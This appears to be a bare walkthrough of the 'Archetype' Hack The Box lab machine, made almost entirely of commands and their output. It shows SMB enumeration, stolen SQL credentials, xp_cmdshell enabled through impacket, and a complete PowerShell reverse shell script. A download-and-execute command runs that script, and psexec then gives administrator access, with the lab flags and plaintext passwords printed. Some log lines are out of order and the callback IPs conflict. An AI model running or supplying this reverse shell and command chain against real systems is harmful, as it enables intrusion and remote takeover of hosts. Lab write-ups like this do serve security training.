Archetype

$ sudo nmap -p- -A -T4 10.10.10.27
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-03-29T12:58:13
|_Not valid after:  2051-03-29T12:58:13
|_ssl-date: 2021-03-29T13:05:48+00:00; +17m35s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h41m35s, deviation: 3h07m51s, median: 17m34s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-03-29T06:05:40-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-03-29T13:05:39
|_  start_date: N/A

$ smbclient -N -L \\\\10.10.10.27\\

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available
# -L list, -N no passwd
$ smbclient -N \\\\10.10.10.27\\backups
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

                10328063 blocks of size 4096. 8248893 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \> 

Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc

https://github.com/SecureAuthCorp/impacket
$ mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.23.dev1 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')
-----------   
          1   
SQL> EXEC sp_configure 'Show Advanced Options', 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> sp_configure;
name                                      minimum       maximum   config_value     run_value   
-----------------------------------   -----------   -----------   ------------   -----------   
access check cache bucket count                 0         65536              0             0   
access check cache quota                        0    2147483647              0             0   
Ad Hoc Distributed Queries                      0             1              0             0   
affinity I/O mask                     -2147483648    2147483647              0             0   
affinity mask                         -2147483648    2147483647              0             0   
affinity64 I/O mask                   -2147483648    2147483647              0             0   
affinity64 mask                       -2147483648    2147483647              0             0   
Agent XPs                                       0             1              0             0   
allow polybase export                           0             1              0             0   
allow updates                                   0             1              0             0   
automatic soft-NUMA disabled                    0             1              0             0   
backup checksum default                         0             1              0             0   
backup compression default                      0             1              0             0   
blocked process threshold (s)                   0         86400              0             0   
c2 audit mode                                   0             1              0             0   
clr enabled                                     0             1              0             0   
clr strict security                             0             1              1             1   
contained database authentication               0             1              0             0   
cost threshold for parallelism                  0         32767              5             5   
cross db ownership chaining                     0             1              0             0   
cursor threshold                               -1    2147483647             -1            -1   
Database Mail XPs                               0             1              0             0   
default full-text language                      0    2147483647           1033          1033   
default language                                0          9999              0             0   
default trace enabled                           0             1              1             1   
disallow results from triggers                  0             1              0             0   
external scripts enabled                        0             1              0             0   
filestream access level                         0             2              0             0   
fill factor (%)                                 0           100              0             0   
ft crawl bandwidth (max)                        0         32767            100           100   
ft crawl bandwidth (min)                        0         32767              0             0   
ft notify bandwidth (max)                       0         32767            100           100   
ft notify bandwidth (min)                       0         32767              0             0   
hadoop connectivity                             0             7              0             0   
index create memory (KB)                      704    2147483647              0             0   
in-doubt xact resolution                        0             2              0             0   
lightweight pooling                             0             1              0             0   
locks                                        5000    2147483647              0             0   
max degree of parallelism                       0         32767              0             0   
max full-text crawl range                       0           256              4             4   
max server memory (MB)                        128    2147483647     2147483647    2147483647   
max text repl size (B)                         -1    2147483647          65536         65536   
max worker threads                            128         65535              0             0   
media retention                                 0           365              0             0   
min memory per query (KB)                     512    2147483647           1024          1024   
min server memory (MB)                          0    2147483647              0            16   
nested triggers                                 0             1              1             1   
network packet size (B)                       512         32767           4096          4096   
Ole Automation Procedures                       0             1              0             0   
open objects                                    0    2147483647              0             0   
optimize for ad hoc workloads                   0             1              0             0   
PH timeout (s)                                  1          3600             60            60   
polybase network encryption                     0             1              1             1   
precompute rank                                 0             1              0             0   
priority boost                                  0             1              0             0   
query governor cost limit                       0    2147483647              0             0   
query wait (s)                                 -1    2147483647             -1            -1   
recovery interval (min)                         0         32767              0             0   
remote access                                   0             1              1             1   
remote admin connections                        0             1              0             0   
remote data archive                             0             1              0             0   
remote login timeout (s)                        0    2147483647             10            10   
remote proc trans                               0             1              0             0   
remote query timeout (s)                        0    2147483647            600           600   
Replication XPs                                 0             1              0             0   
scan for startup procs                          0             1              0             0   
server trigger recursion                        0             1              1             1   
set working set size                            0             1              0             0   
show advanced options                           0             1              1             1   
SMO and DMO XPs                                 0             1              1             1   
transform noise words                           0             1              0             0   
two digit year cutoff                        1753          9999           2049          2049   
user connections                                0         32767              0             0   
user options                                    0         32767              0             0   
xp_cmdshell                                     0             1              1             1   
SQL> 
SQL> EXEC sp_configure 'xp_cmdshell', 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> xp_cmdshell "whoami"
output                                                                             
--------------------------------------------------------------------------------   
archetype\sql_svc                                                                  
NULL  
     
kali@kali:~/0.htb/Starting_Point/Archetype$ sudo python3 -m http.server 80
Reverse shell shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.197",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

kali@kali:~/0.htb/Starting_Point/Archetype$ sudo nc -lvnp 443
$ ufw allow from 10.10.10.27 proto tcp to any port 80,443

Issue the command to download and execute the reverse shell through xp_cmdshell.
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.197/shell.ps1\");"

10.10.10.27 - - [07/Apr/2021 10:18:19] "GET //shell.ps1 HTTP/1.1" 200 -
connect to [10.10.14.161] from (UNKNOWN) [10.10.10.27] 49673
kali@kali:~/0.htb/Starting_Point/Archetype27$ sudo python3 -m http.server 80
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.27 - - [01/May/2021 07:10:27] "GET /shell.ps1 HTTP/1.1" 200 -

kali@kali:~/0.htb/Starting_Point/Archetype27$ sudo nc -lvnp 443
[sudo] password for kali: 
listening on [any] 443 ...
connect to [10.10.14.197] from (UNKNOWN) [10.10.10.27] 49695

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

kali@kali:~/0.htb/Starting_Point/Archetype27$ psexec.py administrator@10.10.10.27
Impacket v0.9.23.dev1 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file cngokJVR.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service jaHb on 10.10.10.27.....
[*] Starting service jaHb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

C:\Users\Administrator\Desktop>type root.txt
b91ccec3305e98240082d4474b848528
C:\Users\Administrator\Desktop>
C:\Users\sql_svc\Desktop>type user.txt
3e7b102e78218e935bf3f4951fec21a3
C:\Users\sql_svc\Desktop>

Microsoft Windows [Version 10.0.17763.107]

Navigation